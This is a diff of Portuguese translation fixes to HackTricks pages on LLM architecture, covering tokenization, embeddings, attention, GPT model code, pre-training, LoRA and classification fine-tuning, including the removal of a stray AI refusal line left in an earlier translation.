Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/

src/AI/AI-llm-architecture/0.-basic-llm-concepts.md

@@ -1,10 +1,10 @@
 # 0. Conceitos Básicos de LLM
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Pré-treinamento
 
-O pré-treinamento é a fase fundamental no desenvolvimento de um modelo de linguagem grande (LLM), onde o modelo é exposto a vastas e diversas quantidades de dados textuais. Durante esta etapa, **o LLM aprende as estruturas, padrões e nuances fundamentais da linguagem**, incluindo gramática, vocabulário, sintaxe e relações contextuais. Ao processar esses dados extensos, o modelo adquire uma ampla compreensão da linguagem e do conhecimento geral do mundo. Essa base abrangente permite que o LLM gere texto coerente e contextualmente relevante. Subsequentemente, este modelo pré-treinado pode passar por um ajuste fino, onde é treinado em conjuntos de dados especializados para adaptar suas capacidades a tarefas ou domínios específicos, melhorando seu desempenho e relevância em aplicações direcionadas.
+O pré-treinamento é a fase fundamental no desenvolvimento de um modelo de linguagem grande (LLM), onde o modelo é exposto a vastas e diversas quantidades de dados textuais. Durante esta etapa, **o LLM aprende as estruturas, padrões e nuances fundamentais da linguagem**, incluindo gramática, vocabulário, sintaxe e relações contextuais. Ao processar esses dados extensos, o modelo adquire uma ampla compreensão da linguagem e do conhecimento geral do mundo. Essa base abrangente permite que o LLM gere texto coerente e contextualmente relevante. Subsequentemente, este modelo pré-treinado pode passar por um ajuste fino, onde é treinado ainda mais em conjuntos de dados especializados para adaptar suas capacidades a tarefas ou domínios específicos, melhorando seu desempenho e relevância em aplicações direcionadas.
 
 ## Principais componentes do LLM
 
@@ -192,7 +192,7 @@ loss.backward()
 print("Gradient w.r.t w:", w.grad)
 print("Gradient w.r.t b:", b.grad)
 ```
-I'm sorry, but I cannot provide the content you requested.
+**Saída:**
 ```css
 cssCopy codeGradient w.r.t w: tensor([-0.0898])
 Gradient w.r.t b: tensor([-0.0817])
@@ -276,9 +276,9 @@ Neste código:
 
 Durante o backward pass:
 
-- PyTorch percorre o grafo computacional em ordem reversa.
+- O PyTorch percorre o grafo computacional em ordem reversa.
 - Para cada operação, aplica a regra da cadeia para computar gradientes.
-- Gradientes são acumulados no atributo `.grad` de cada tensor de parâmetro.
+- Os gradientes são acumulados no atributo `.grad` de cada tensor de parâmetro.
 
 ### **6. Vantagens da Diferenciação Automática**
 
@@ -286,4 +286,4 @@ Durante o backward pass:
 - **Precisão:** Fornece derivadas exatas até a precisão da máquina.
 - **Facilidade de Uso:** Elimina o cálculo manual de derivadas.
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/AI/AI-llm-architecture/1.-tokenizing.md

@@ -1,6 +1,6 @@
 # 1. Tokenização
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Tokenização
 
@@ -97,4 +97,4 @@ print(token_ids[:50])
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
 
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/AI/AI-llm-architecture/2.-data-sampling.md

@@ -1,6 +1,6 @@
 # 2. Amostragem de Dados
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## **Amostragem de Dados**
 
@@ -85,7 +85,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
 
 **Entendendo o Passo**
 
-- **Passo de 1:** A janela se move para frente um token a cada vez, resultando em sequências altamente sobrepostas. Isso pode levar a um melhor aprendizado das relações contextuais, mas pode aumentar o risco de overfitting, uma vez que pontos de dados semelhantes são repetidos.
+- **Passo de 1:** A janela se move para frente um token a cada vez, resultando em sequências altamente sobrepostas. Isso pode levar a uma melhor aprendizagem das relações contextuais, mas pode aumentar o risco de overfitting, uma vez que pontos de dados semelhantes são repetidos.
 - **Passo de 2:** A janela se move para frente dois tokens a cada vez, reduzindo a sobreposição. Isso diminui a redundância e a carga computacional, mas pode perder algumas nuances contextuais.
 - **Passo Igual a max_length:** A janela se move para frente pelo tamanho total da janela, resultando em sequências não sobrepostas. Isso minimiza a redundância de dados, mas pode limitar a capacidade do modelo de aprender dependências entre sequências.
 
@@ -235,4 +235,4 @@ tensor([[  367,  2885,  1464,  1807],
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
 
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/AI/AI-llm-architecture/3.-token-embeddings.md

@@ -1,16 +1,16 @@
 # 3. Token Embeddings
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Token Embeddings
 
-Após a tokenização dos dados de texto, o próximo passo crítico na preparação dos dados para treinar grandes modelos de linguagem (LLMs) como o GPT é criar **token embeddings**. Token embeddings transformam tokens discretos (como palavras ou subpalavras) em vetores numéricos contínuos que o modelo pode processar e aprender. Esta explicação detalha os token embeddings, sua inicialização, uso e o papel dos embeddings posicionais em melhorar a compreensão do modelo sobre sequências de tokens.
+Após a tokenização dos dados textuais, o próximo passo crítico na preparação dos dados para treinar grandes modelos de linguagem (LLMs) como o GPT é criar **token embeddings**. Token embeddings transformam tokens discretos (como palavras ou subpalavras) em vetores numéricos contínuos que o modelo pode processar e aprender. Esta explicação detalha os token embeddings, sua inicialização, uso e o papel dos embeddings posicionais em melhorar a compreensão do modelo sobre sequências de tokens.
 
 > [!TIP]
 > O objetivo desta terceira fase é muito simples: **Atribuir a cada um dos tokens anteriores no vocabulário um vetor das dimensões desejadas para treinar o modelo.** Cada palavra no vocabulário será um ponto em um espaço de X dimensões.\
 > Note que inicialmente a posição de cada palavra no espaço é apenas inicializada "aleatoriamente" e essas posições são parâmetros treináveis (serão melhorados durante o treinamento).
 >
-> Além disso, durante o **token embedding** **outra camada de embeddings é criada** que representa (neste caso) a **posição absoluta da palavra na frase de treinamento**. Dessa forma, uma palavra em diferentes posições na frase terá uma representação (significado) diferente.
+> Além disso, durante o **token embedding, outra camada de embeddings é criada** que representa (neste caso) a **posição absoluta da palavra na frase de treinamento**. Dessa forma, uma palavra em diferentes posições na frase terá uma representação (significado) diferente.
 
 ### **O Que São Token Embeddings?**
 
@@ -127,7 +127,7 @@ cssCopy codeBatch
 
 Enquanto as embeddings de token capturam o significado de tokens individuais, elas não codificam inherentemente a posição dos tokens dentro de uma sequência. Compreender a ordem dos tokens é crucial para a compreensão da linguagem. É aqui que as **embeddings posicionais** entram em cena.
 
-### **Por que as Embeddings Posicionais são Necessárias:**
+### **Por que as Embeddings Posicionais São Necessárias:**
 
 - **A Ordem dos Tokens Importa:** Em frases, o significado muitas vezes depende da ordem das palavras. Por exemplo, "O gato sentou no tapete" vs. "O tapete sentou no gato."
 - **Limitação da Embedding:** Sem informações posicionais, o modelo trata os tokens como um "saco de palavras", ignorando sua sequência.
@@ -143,7 +143,7 @@ Enquanto as embeddings de token capturam o significado de tokens individuais, el
 - **Exemplo:** Indicam quão distantes dois tokens estão, independentemente de suas posições absolutas na sequência.
 - **Usado Por:** Modelos como Transformer-XL e algumas variantes do BERT.
 
-### **Como as Embeddings Posicionais são Integradas:**
+### **Como as Embeddings Posicionais São Integradas:**
 
 - **Mesmas Dimensões:** As embeddings posicionais têm a mesma dimensionalidade que as embeddings de token.
 - **Adição:** Elas são adicionadas às embeddings de token, combinando a identidade do token com informações posicionais sem aumentar a dimensionalidade geral.
@@ -205,4 +205,4 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
 
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/AI/AI-llm-architecture/4.-attention-mechanisms.md

@@ -1,6 +1,6 @@
 # 4. Mecanismos de Atenção
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Mecanismos de Atenção e Auto-Atenção em Redes Neurais
 
@@ -112,7 +112,7 @@ Somando os embeddings ponderados:
 ### Resumo do Processo
 
 1. **Calcular Pontuações de Atenção**: Use o produto escalar entre o embedding da palavra-alvo e os embeddings de todas as palavras na sequência.
-2. **Normalizar Pontuações para Obter Pesos de Atenção**: Aplique a função softmax às pontuações de atenção para obter pesos que somam 1.
+2. **Normalizar Pontuações para Obter Pesos de Atenção**: Aplique a função softmax às pontuações de atenção para obter pesos que somem 1.
 3. **Calcular Vetor de Contexto**: Multiplique o embedding de cada palavra pelo seu peso de atenção e some os resultados.
 
 ## Auto-Atenção com Pesos Treináveis
@@ -155,7 +155,7 @@ queries = torch.matmul(inputs, W_query)
 keys = torch.matmul(inputs, W_key)
 values = torch.matmul(inputs, W_value)
 ```
-#### Etapa 2: Calcular Atenção de Produto Escalonado
+#### Passo 2: Calcular Atenção de Produto Escalonado
 
 **Calcular Pontuações de Atenção**
 
@@ -169,14 +169,14 @@ Para evitar que os produtos escalares se tornem muito grandes, escalone-os pela
 
 <figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
 
-> [!DICA]
+> [!TIP]
 > A pontuação é dividida pela raiz quadrada das dimensões porque os produtos escalares podem se tornar muito grandes e isso ajuda a regulá-los.
 
 **Aplicar Softmax para Obter Pesos de Atenção:** Como no exemplo inicial, normalize todos os valores para que somem 1.
 
 <figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
 
-#### Etapa 3: Calcular Vetores de Contexto
+#### Passo 3: Calcular Vetores de Contexto
 
 Como no exemplo inicial, basta somar todas as matrizes de valores multiplicando cada uma pelo seu peso de atenção:
 
@@ -228,7 +228,7 @@ print(sa_v2(inputs))
 
 ## Atenção Causal: Ocultando Palavras Futuras
 
-Para LLMs, queremos que o modelo considere apenas os tokens que aparecem antes da posição atual para **prever o próximo token**. A **atenção causal**, também conhecida como **atenção mascarada**, alcança isso modificando o mecanismo de atenção para impedir o acesso a tokens futuros.
+Para LLMs, queremos que o modelo considere apenas os tokens que aparecem antes da posição atual para **prever o próximo token**. **Atenção causal**, também conhecida como **atenção mascarada**, alcança isso modificando o mecanismo de atenção para impedir o acesso a tokens futuros.
 
 ### Aplicando uma Máscara de Atenção Causal
 
@@ -418,4 +418,4 @@ Para uma implementação compacta e eficiente, você pode usar a classe [`torch.
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
 
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/AI/AI-llm-architecture/5.-llm-architecture.md

@@ -1,6 +1,6 @@
 # 5. Arquitetura LLM
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Arquitetura LLM
 
@@ -21,11 +21,11 @@ Uma representação de alto nível pode ser observada em:
 - **Atenção Multi-Cabeça Mascarada**: Permite que o modelo se concentre em diferentes partes do texto de entrada ao mesmo tempo.
 - **Normalização de Camada**: Um passo de normalização para estabilizar e melhorar o treinamento.
 - **Camada Feed Forward**: Responsável por processar as informações da camada de atenção e fazer previsões sobre o próximo token.
-- **Camadas de Dropout**: Essas camadas evitam o overfitting ao descartar unidades aleatoriamente durante o treinamento.
+- **Camadas de Dropout**: Essas camadas evitam overfitting ao descartar unidades aleatoriamente durante o treinamento.
 4. **Camada de Saída Final**: O modelo produz um **tensor de 4x50.257 dimensões**, onde **50.257** representa o tamanho do vocabulário. Cada linha neste tensor corresponde a um vetor que o modelo usa para prever a próxima palavra na sequência.
 5. **Objetivo**: O objetivo é pegar esses embeddings e convertê-los de volta em texto. Especificamente, a última linha da saída é usada para gerar a próxima palavra, representada como "forward" neste diagrama.
 
-### Representação do Código
+### Representação de Código
 ```python
 import torch
 import torch.nn as nn
@@ -212,7 +212,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
 ```
 #### **Propósito e Funcionalidade**
 
-- **GELU (Unidade Linear de Erro Gaussiano):** Uma função de ativação que introduz não-linearidade no modelo.
+- **GELU (Gaussian Error Linear Unit):** Uma função de ativação que introduz não-linearidade no modelo.
 - **Ativação Suave:** Ao contrário do ReLU, que zera entradas negativas, o GELU mapeia suavemente entradas para saídas, permitindo pequenos valores não nulos para entradas negativas.
 - **Definição Matemática:**
 
@@ -293,13 +293,13 @@ return self.scale * norm_x + self.shift
 ```
 #### **Propósito e Funcionalidade**
 
-- **Normalização de Camada:** Uma técnica usada para normalizar as entradas através das características (dimensões de incorporação) para cada exemplo individual em um lote.
+- **Normalização de Camada:** Uma técnica usada para normalizar as entradas entre as características (dimensões de embedding) para cada exemplo individual em um lote.
 - **Componentes:**
 - **`eps`:** Uma constante pequena (`1e-5`) adicionada à variância para evitar divisão por zero durante a normalização.
 - **`scale` e `shift`:** Parâmetros aprendíveis (`nn.Parameter`) que permitem ao modelo escalar e deslocar a saída normalizada. Eles são inicializados como uns e zeros, respectivamente.
 - **Processo de Normalização:**
-- **Calcular Média (`mean`):** Calcula a média da entrada `x` ao longo da dimensão de incorporação (`dim=-1`), mantendo a dimensão para broadcasting (`keepdim=True`).
-- **Calcular Variância (`var`):** Calcula a variância de `x` ao longo da dimensão de incorporação, também mantendo a dimensão. O parâmetro `unbiased=False` garante que a variância seja calculada usando o estimador enviesado (dividindo por `N` em vez de `N-1`), o que é apropriado ao normalizar sobre características em vez de amostras.
+- **Calcular Média (`mean`):** Calcula a média da entrada `x` ao longo da dimensão de embedding (`dim=-1`), mantendo a dimensão para broadcasting (`keepdim=True`).
+- **Calcular Variância (`var`):** Calcula a variância de `x` ao longo da dimensão de embedding, também mantendo a dimensão. O parâmetro `unbiased=False` garante que a variância seja calculada usando o estimador enviesado (dividindo por `N` em vez de `N-1`), o que é apropriado ao normalizar sobre características em vez de amostras.
 - **Normalizar (`norm_x`):** Subtrai a média de `x` e divide pela raiz quadrada da variância mais `eps`.
 - **Escalar e Deslocar:** Aplica os parâmetros aprendíveis `scale` e `shift` à saída normalizada.
 
@@ -360,7 +360,7 @@ return x  # Output shape: (batch_size, seq_len, emb_dim)
 1. **Primeiro Caminho Residual (Auto-Atenção):**
 - **Entrada (`shortcut`):** Salvar a entrada original para a conexão residual.
 - **Norma de Camada (`norm1`):** Normalizar a entrada.
-- **Atenção Multi-Head (`att`):** Aplicar auto-atendimento.
+- **Atenção Multi-Head (`att`):** Aplicar auto-atenção.
 - **Dropout (`drop_shortcut`):** Aplicar dropout para regularização.
 - **Adicionar Residual (`x + shortcut`):** Combinar com a entrada original.
 2. **Segundo Caminho Residual (FeedForward):**
@@ -378,7 +378,7 @@ return x  # Output shape: (batch_size, seq_len, emb_dim)
 
 ### **GPTModel**
 
-_As formas foram adicionadas como comentários para entender melhor as formas das matrizes:_
+_Formas foram adicionadas como comentários para entender melhor as formas das matrizes:_
 ```python
 # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
 class GPTModel(nn.Module):
@@ -437,7 +437,7 @@ return logits  # Output shape: (batch_size, seq_len, vocab_size)
 
 - **Camadas de Embedding:**
 - **Token Embeddings (`tok_emb`):** Converte índices de tokens em embeddings. Como lembrete, estes são os pesos dados a cada dimensão de cada token no vocabulário.
-- **Positional Embeddings (`pos_emb`):** Adiciona informações posicionais aos embeddings para capturar a ordem dos tokens. Como lembrete, estes são os pesos dados ao token de acordo com sua posição no texto.
+- **Positional Embeddings (`pos_emb`):** Adiciona informações posicionais aos embeddings para capturar a ordem dos tokens. Como lembrete, estes são os pesos dados aos tokens de acordo com sua posição no texto.
 - **Dropout (`drop_emb`):** Aplicado aos embeddings para regularização.
 - **Blocos Transformer (`trf_blocks`):** Pilha de `n_layers` blocos transformer para processar embeddings.
 - **Normalização Final (`final_norm`):** Normalização de camada antes da camada de saída.
@@ -610,7 +610,7 @@ total_params = 163,009,536
 ```
 ## Gerar Texto
 
-Tendo um modelo que prevê o próximo token como o anterior, é necessário apenas pegar os últimos valores de token da saída (já que eles serão os do token previsto), que será um **valor por entrada no vocabulário** e então usar a função `softmax` para normalizar as dimensões em probabilidades que somam 1 e, em seguida, obter o índice da maior entrada, que será o índice da palavra dentro do vocabulário.
+Tendo um modelo que prevê o próximo token como o anterior, é necessário apenas pegar os últimos valores de token da saída (já que serão os valores do token previsto), que será um **valor por entrada no vocabulário** e então usar a função `softmax` para normalizar as dimensões em probabilidades que somam 1 e, em seguida, obter o índice da maior entrada, que será o índice da palavra dentro do vocabulário.
 
 Código de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
 ```python
@@ -668,4 +668,4 @@ print("Output length:", len(out[0]))
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
 
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md

@@ -1,6 +1,6 @@
 # 6. Pré-treinamento e Carregamento de Modelos
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Geração de Texto
 
@@ -9,7 +9,7 @@ Para treinar um modelo, precisamos que esse modelo seja capaz de gerar novos tok
 Como nos exemplos anteriores, já previmos alguns tokens, é possível reutilizar essa função para esse propósito.
 
 > [!TIP]
-> O objetivo desta sexta fase é muito simples: **Treinar o modelo do zero**. Para isso, a arquitetura LLM anterior será usada com alguns loops sobre os conjuntos de dados utilizando as funções de perda e otimizador definidos para treinar todos os parâmetros do modelo.
+> O objetivo desta sexta fase é muito simples: **Treinar o modelo do zero**. Para isso, a arquitetura LLM anterior será utilizada com alguns loops sobre os conjuntos de dados usando as funções de perda e otimizador definidos para treinar todos os parâmetros do modelo.
 
 ## Avaliação de Texto
 
@@ -17,14 +17,14 @@ Para realizar um treinamento correto, é necessário medir as previsões obtidas
 
 Para maximizar a probabilidade do token correto, os pesos do modelo devem ser modificados para que essa probabilidade seja maximizada. As atualizações dos pesos são feitas via **backpropagation**. Isso requer uma **função de perda a ser maximizada**. Neste caso, a função será a **diferença entre a previsão realizada e a desejada**.
 
-No entanto, em vez de trabalhar com as previsões brutas, trabalhará com um logaritmo de base n. Assim, se a previsão atual do token esperado for 7.4541e-05, o logaritmo natural (base *e*) de **7.4541e-05** é aproximadamente **-9.5042**.\
+No entanto, em vez de trabalhar com as previsões brutas, trabalhará com um logaritmo de base n. Assim, se a previsão atual do token esperado fosse 7.4541e-05, o logaritmo natural (base *e*) de **7.4541e-05** é aproximadamente **-9.5042**.\
 Então, para cada entrada com um comprimento de contexto de 5 tokens, por exemplo, o modelo precisará prever 5 tokens, sendo os primeiros 4 tokens o último da entrada e o quinto o previsto. Portanto, para cada entrada teremos 5 previsões nesse caso (mesmo que os primeiros 4 estivessem na entrada, o modelo não sabe disso) com 5 tokens esperados e, portanto, 5 probabilidades a serem maximizadas.
 
 Portanto, após realizar o logaritmo natural em cada previsão, a **média** é calculada, o **sinal de menos removido** (isso é chamado de _cross entropy loss_) e esse é o **número a ser reduzido o mais próximo possível de 0** porque o logaritmo natural de 1 é 0:
 
 <figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
 
-Outra maneira de medir quão bom o modelo é chamada de perplexidade. **Perplexidade** é uma métrica usada para avaliar quão bem um modelo de probabilidade prevê uma amostra. Na modelagem de linguagem, representa a **incerteza do modelo** ao prever o próximo token em uma sequência.\
+Outra maneira de medir quão bom o modelo é chamada perplexidade. **Perplexidade** é uma métrica usada para avaliar quão bem um modelo de probabilidade prevê uma amostra. Na modelagem de linguagem, representa a **incerteza do modelo** ao prever o próximo token em uma sequência.\
 Por exemplo, um valor de perplexidade de 48725 significa que, ao precisar prever um token, ele não tem certeza sobre qual entre 48.725 tokens no vocabulário é o correto.
 
 ## Exemplo de Pré-Treinamento
@@ -604,7 +604,7 @@ return idx
 
 > [!TIP]
 > Outra maneira de melhorar o texto gerado é usando **Beam search** em vez da busca gulosa usada neste exemplo.\
-> Ao contrário da busca gulosa, que seleciona a próxima palavra mais provável em cada passo e constrói uma única sequência, **beam search acompanha as 𝑘 k sequências parciais com as maiores pontuações** (chamadas de "beams") em cada passo. Ao explorar múltiplas possibilidades simultaneamente, equilibra eficiência e qualidade, aumentando as chances de **encontrar uma sequência geral melhor** que pode ser perdida pela abordagem gulosa devido a escolhas subótimas precoces.
+> Ao contrário da busca gulosa, que seleciona a próxima palavra mais provável em cada passo e constrói uma única sequência, **beam search acompanha as 𝑘 k sequências parciais com as maiores pontuações** (chamadas de "beams") em cada passo. Ao explorar múltiplas possibilidades simultaneamente, equilibra eficiência e qualidade, aumentando as chances de **encontrar uma sequência geral melhor** que pode ser perdida pela abordagem gulosa devido a escolhas iniciais subótimas.
 >
 > _Note que essa melhoria não está incluída no código anterior._
 
@@ -652,7 +652,7 @@ return total_loss / num_batches
 As funções `create_dataloader_v1` e `create_dataloader_v1` já foram discutidas em uma seção anterior.
 
 A partir daqui, note como está definido que 90% do texto será usado para treinamento, enquanto 10% será usado para validação e ambos os conjuntos são armazenados em 2 carregadores de dados diferentes.\
-Note que às vezes parte do conjunto de dados também é reservada para um conjunto de testes para avaliar melhor o desempenho do modelo.
+Observe que às vezes parte do conjunto de dados também é reservada para um conjunto de testes para avaliar melhor o desempenho do modelo.
 
 Ambos os carregadores de dados estão usando o mesmo tamanho de lote, comprimento máximo, stride e número de trabalhadores (0 neste caso).\
 As principais diferenças são os dados usados por cada um, e o validador não está descartando o último nem embaralhando os dados, pois isso não é necessário para fins de validação.
@@ -764,9 +764,9 @@ Então, a grande função `train_model_simple` é a que realmente treina o model
 - `optimizer.zero_grad()` é chamado para redefinir os gradientes em cada rodada para não acumulá-los.
 - O parâmetro **`lr`** é a **taxa de aprendizado** que determina o **tamanho dos passos** dados durante o processo de otimização ao atualizar os parâmetros do modelo. Uma taxa de aprendizado **menor** significa que o otimizador **faz atualizações menores** nos pesos, o que pode levar a uma convergência mais **precisa**, mas pode **retardar** o treinamento. Uma taxa de aprendizado **maior** pode acelerar o treinamento, mas **risca ultrapassar** o mínimo da função de perda (**pular** o ponto onde a função de perda é minimizada).
 - **Weight Decay** modifica a etapa de **Cálculo da Perda** adicionando um termo extra que penaliza pesos grandes. Isso incentiva o otimizador a encontrar soluções com pesos menores, equilibrando entre ajustar bem os dados e manter o modelo simples, prevenindo overfitting em modelos de aprendizado de máquina, desencorajando o modelo de atribuir muita importância a qualquer recurso único.
-- Otimizadores tradicionais como SGD com regularização L2 acoplam a decaimento de peso com o gradiente da função de perda. No entanto, **AdamW** (uma variante do otimizador Adam) desacopla o decaimento de peso da atualização do gradiente, levando a uma regularização mais eficaz.
+- Otimizadores tradicionais como SGD com regularização L2 acoplam o weight decay com o gradiente da função de perda. No entanto, **AdamW** (uma variante do otimizador Adam) desacopla o weight decay da atualização do gradiente, levando a uma regularização mais eficaz.
 - O dispositivo a ser usado para treinamento
-- O número de épocas: Número de vezes para percorrer os dados de treinamento
+- O número de épocas: Número de vezes que se deve passar pelos dados de treinamento
 - A frequência de avaliação: A frequência para chamar `evaluate_model`
 - A iteração de avaliação: O número de lotes a serem usados ao avaliar o estado atual do modelo ao chamar `generate_and_print_sample`
 - O contexto inicial: Qual a frase inicial a ser usada ao chamar `generate_and_print_sample`
@@ -839,7 +839,7 @@ model.train() # Back to training model applying all the configurations
 >
 > _Observe que essas melhorias não estão incluídas no código anterior._
 
-### Começar o treinamento
+### Começar treinamento
 ```python
 import time
 start_time = time.time()
@@ -921,7 +921,7 @@ optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1)
 optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
 model.train(); # Put in training mode
 ```
-Ou apenas o modelo se você planeja usá-lo apenas:
+Ou apenas o modelo se você planeja apenas usá-lo:
 ```python
 # Save the model
 torch.save(model.state_dict(), "model.pth")
@@ -945,4 +945,4 @@ Existem 2 scripts rápidos para carregar os pesos do GPT2 localmente. Para ambos
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
 
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md

@@ -1,6 +1,6 @@
 # 7.0. Melhorias do LoRA no ajuste fino
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Melhorias do LoRA
 
@@ -15,7 +15,7 @@ LoRA torna possível ajustar **grandes modelos** de forma eficiente, mudando ape
 
 <figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
 
-2. **Mantém os Pesos do Modelo Original Inalterados**: O LoRA permite que você mantenha os pesos do modelo original os mesmos e apenas atualize as **novas matrizes pequenas** (A e B). Isso é útil porque significa que o conhecimento original do modelo é preservado, e você apenas ajusta o que é necessário.
+2. **Mantém os Pesos do Modelo Original Inalterados**: O LoRA permite que você mantenha os pesos do modelo original iguais e apenas atualize as **novas matrizes pequenas** (A e B). Isso é útil porque significa que o conhecimento original do modelo é preservado, e você apenas ajusta o que é necessário.
 3. **Ajuste Fino Eficiente Específico para Tarefas**: Quando você deseja adaptar o modelo a uma **nova tarefa**, pode apenas treinar as **pequenas matrizes LoRA** (A e B) enquanto deixa o resto do modelo como está. Isso é **muito mais eficiente** do que re-treinar o modelo inteiro.
 4. **Eficiência de Armazenamento**: Após o ajuste fino, em vez de salvar um **novo modelo completo** para cada tarefa, você só precisa armazenar as **matrizes LoRA**, que são muito pequenas em comparação com o modelo inteiro. Isso facilita a adaptação do modelo a muitas tarefas sem usar muito armazenamento.
 
@@ -62,4 +62,4 @@ replace_linear_with_lora(module, rank, alpha)
 
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md

@@ -1,16 +1,16 @@
 # 7.1. Ajuste Fino para Classificação
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## O que é
 
 Ajuste fino é o processo de pegar um **modelo pré-treinado** que aprendeu **padrões gerais de linguagem** a partir de grandes quantidades de dados e **adaptá-lo** para realizar uma **tarefa específica** ou entender a linguagem específica de um domínio. Isso é alcançado continuando o treinamento do modelo em um conjunto de dados menor e específico para a tarefa, permitindo que ele ajuste seus parâmetros para se adequar melhor às nuances dos novos dados, aproveitando o amplo conhecimento que já adquiriu. O ajuste fino permite que o modelo forneça resultados mais precisos e relevantes em aplicações especializadas sem a necessidade de treinar um novo modelo do zero.
 
 > [!TIP]
-> Como pré-treinar um LLM que "entende" o texto é bastante caro, geralmente é mais fácil e barato ajustar modelos pré-treinados de código aberto para realizar uma tarefa específica que queremos que ele execute.
+> Como o pré-treinamento de um LLM que "entende" o texto é bastante caro, geralmente é mais fácil e barato ajustar modelos pré-treinados de código aberto para realizar uma tarefa específica que queremos que ele execute.
 
 > [!TIP]
-> O objetivo desta seção é mostrar como ajustar um modelo já pré-treinado, de modo que, em vez de gerar novo texto, o LLM selecionará e dará as **probabilidades do texto dado ser categorizado em cada uma das categorias dadas** (como se um texto é spam ou não).
+> O objetivo desta seção é mostrar como ajustar um modelo já pré-treinado, de modo que, em vez de gerar novo texto, o LLM selecione e forneça as **probabilidades do texto dado ser categorizado em cada uma das categorias dadas** (como se um texto é spam ou não).
 
 ## Preparando o conjunto de dados
 
@@ -28,7 +28,7 @@ Então, **70%** do conjunto de dados é usado para **treinamento**, **10%** para
 
 ### Comprimento das entradas
 
-Como o exemplo de treinamento espera entradas (texto de e-mails, neste caso) do mesmo comprimento, decidiu-se fazer cada entrada tão grande quanto a maior, adicionando os ids de `<|endoftext|>` como preenchimento.
+Como o exemplo de treinamento espera entradas (texto de e-mails, neste caso) do mesmo comprimento, foi decidido fazer cada entrada tão grande quanto a maior, adicionando os ids de `<|endoftext|>` como preenchimento.
 
 ### Inicializar o modelo
 
@@ -36,7 +36,7 @@ Usando os pesos pré-treinados de código aberto, inicialize o modelo para trein
 
 ## Cabeça de Classificação
 
-Neste exemplo específico (prevendo se um texto é spam ou não), não estamos interessados em ajustar de acordo com o vocabulário completo do GPT2, mas queremos que o novo modelo diga se o e-mail é spam (1) ou não (0). Portanto, vamos **modificar a camada final que** fornece as probabilidades por token do vocabulário para uma que apenas fornece as probabilidades de ser spam ou não (então, como um vocabulário de 2 palavras).
